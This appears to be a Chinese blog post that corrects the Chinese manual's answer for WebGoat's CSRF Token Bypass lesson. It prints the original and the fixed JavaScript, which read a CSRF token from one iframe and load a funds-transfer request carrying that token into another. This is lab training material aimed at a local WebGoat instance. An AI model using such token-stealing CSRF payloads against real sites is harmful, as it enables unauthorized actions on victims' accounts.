最近使用WebGoat学习Java源码审计,顺便将WebGoat再过一遍,使用WebGoat中文手册作为参考,测试到CSRF Token绕过这个地方时,发现参考答案始终无法通过,仔细研究了下,发现原来是中文手册答案有误,因为耽误了些时间,所以就打算把它记录下来,避免后来人再踩坑。
1、问题分析
WebGoat中文参考手册给出的整理如下:
var tokenvalue;
function readFrame1() {
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.getElementsByTagName("form")[1];
var token = form.CSRFToken.value;
tokenvalue = '&CSRFToken='+token;
loadFrame2();
}
function loadFrame2() {
var testFrame = document.getElementById("frame2");
testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;
}
提交答案点击后将得到如下答案:
由上图可知第一个iframe被正常加载,但是第二个iframe中的内容却没有被正常加载,使用burp截获交互数据,发现(http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue)这个请求并没有被发送出去,猜想JS readFrame1方法并没有执行到最后的loadFrame2()这个语句,执行的过程中出现了差错。使用chrome对readFrame1中的代码进行动态调试,调试结果如下图所示:
在获取CSRFToken参数值的时候出现了错误,因此基本可以确定答案的错误主要来自于JS获取参数的方法出现了错误。
2、纠正验证
确定了答案的错误,那么就要寻找正确获取CSRFToken参数的方法,下面直接贴出完整的答案代码:
var tokenvalue;
function readFrame1() {
var frameDoc = document.getElementById("frame1").contentDocument;
var form = frameDoc.forms["form"];
var token = form.getElementsByTagName("input").CSRFToken["value"];
tokenvalue = '&CSRFToken='+token;
loadFrame2();
}
function loadFrame2() {
var testFrame = document.getElementById("frame2");
testFrame.src="http://127.0.0.1:8080/WebGoat/attack?Screen=274&menu=900&transferFunds=4000"+tokenvalue;
}
输入参数并提交,这时候看到了让我们兴奋的结果,如下图:
刷新下页面,此时页面左边出现了帅气的绿色对勾。此外需要注意的是在进行测试时一定要保证Screen、menu两个参数与页面右边的Parameters参数(如下图)保持一致,否则测试无法通过。
网友评论